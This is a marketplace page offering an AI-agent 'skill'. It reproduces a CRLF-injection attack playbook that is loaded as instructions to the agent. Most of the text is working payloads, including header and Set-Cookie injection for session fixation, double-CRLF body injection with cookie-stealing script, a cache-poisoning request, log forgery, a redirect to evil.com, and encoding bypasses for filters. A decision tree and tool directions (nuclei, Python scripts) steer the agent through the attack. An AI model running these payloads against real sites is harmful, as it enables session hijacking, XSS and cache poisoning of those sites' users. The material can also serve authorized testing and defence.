SKILL: CRLF Injection — Expert Attack Playbook

SkillFiles & storage

CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.

Available today. Use it from your connected AI after setup.

No other account needed.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the SKILL: CRLF Injection — Expert Attack Playbook skill

What this skill tells your AI

The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/crlf-injection/SKILL.md and read by ahel’s review.

AI LOAD INSTRUCTION: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

QUICK START

First-pass probes

Signal	Probe	Why
Header injection point (redirect URL, Set-Cookie path)	`%0D%0AX-Injected:true` in param	Confirms CRLF reaches response headers
Single CRLF works	`%0D%0ASet-Cookie:evil=test`	Session fixation chain
Single CRLF blocked	`%0D` alone, `%0A` alone, `%E5%98%8A%E5%98%8D`	Partial or Unicode bypass
Double CRLF	`%0D%0A%0D%0A<script>alert(1)</script>`	Body injection → XSS
Input in User-Agent / Referer	`%0D%0A127.0.0.1 - admin [date] "GET /admin" 200`	Log injection / forgery
Open redirect via CRLF in Location	`%0D%0ALocation:http://evil.com%0D%0A%0D%0A`	Response splitting → redirect hijack

# Quick test — CRLF in redirect param
curl -s -D- 'https://target/redirect?url=%0D%0AX-Injected:true'

1. CORE CONCEPT

CRLF = \r\n (Carriage Return + Line Feed, %0D%0A). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie

2. DETECTION

Basic Probe

%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"

Double CRLF — Body Injection

Two consecutive CRLF sequences end headers and start body:

%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>

3. EXPLOITATION SCENARIOS

Session Fixation via Set-Cookie

%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

XSS via Response Body

%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>

Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>

Log Injection

CRLF in log-visible fields (User-Agent, Referer) can forge log entries:

User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200

4. FILTER BYPASS

Filter	Bypass
Blocks `%0D%0A`	Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode)
URL decodes once	Double-encode: `%250D%250A`
Strips `\r\n` literally	Use URL-encoded form
Blocks in value only	Inject in parameter name

# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D  → decoded as CRLF in some parsers

# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF

# Partial injection (LF only):
%0A → some servers accept LF without CR

5. REAL-WORLD EXPLOITATION CHAINS

CRLF + Session Fixation

# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id

# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id

# Victim uses attacker's session → attacker hijacks after login

CRLF → XSS via Double CRLF Body Injection

# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(document.cookie)</script>

CRLF in 302 Location → Redirect Hijack

# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A

# Some servers use the LAST Location header → redirect to evil.com

DECISION TREE

HTTP header reflects user input?
├── Redirect URL parameter contains CRLF (%0D%0A)?
│   ├── Single CRLF injection works?
│   │   ├── Set-Cookie injection possible?
│   │   │   └── Test session fixation chain
│   │   └── Other header injection (X-Forwarded-For, etc.)?
│   │       └── Test header-based attacks
│   └── Single CRLF blocked?
│       └── Try encoding bypass: double-encode (%250D%250A), Unicode (%E5%98%8A%E5%98%8D), LF-only (%0A)
├── Double CRLF (%0D%0A%0D%0A) reaches response?
│   └── Response body injection confirmed?
│       ├── XSS via injected HTML/JS?
│       │   └── Test XSS escalation chain
│       └── Cacheable response?
│           └── Test cache poisoning chain
├── Input in User-Agent or Referer?
│   └── Log injection possible?
│       └── Test log forgery and log evasion
└── No CRLF reflection found?
    └── Report not reproduced; check encoding and parameter name injection

7. COMMON VULNERABLE PATTERNS

// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);

// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))

// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);

// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));

TARGET TOOL ADAPTATION

Use visible http-framework-test for path-preserving baseline/probe requests and nuclei only with a narrowly selected relevant template. Use execute-python-script for deterministic encoding variants when needed; do not assume repeater or Burp-alternative MCP calls exist.

TESTING CHECKLIST

□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses

RELATED ROUTING

xss — CRLF body injection escalates to stored XSS
open-redirect — CRLF in Location header hijacks redirects
request-smuggling — CRLF is fundamental to HTTP request smuggling
hpp — HPP can complement CRLF header injection

Signals

GitHub stars: 115
Forks: 4
Last commit: Sep 2026

Advanced

Catalog kind: skill
Gateway key: crlf-injection
Source: github.com/langbyyi/cyberstrikeai-src

github.com/langbyyi/cyberstrikeai-src

More in Files & storage

pptx
Skill · anthropics docx
Skill · anthropics xlsx
Skill · anthropics pdf
Skill · anthropics web-artifacts-builder
Skill · anthropics claude-api
Skill · anthropics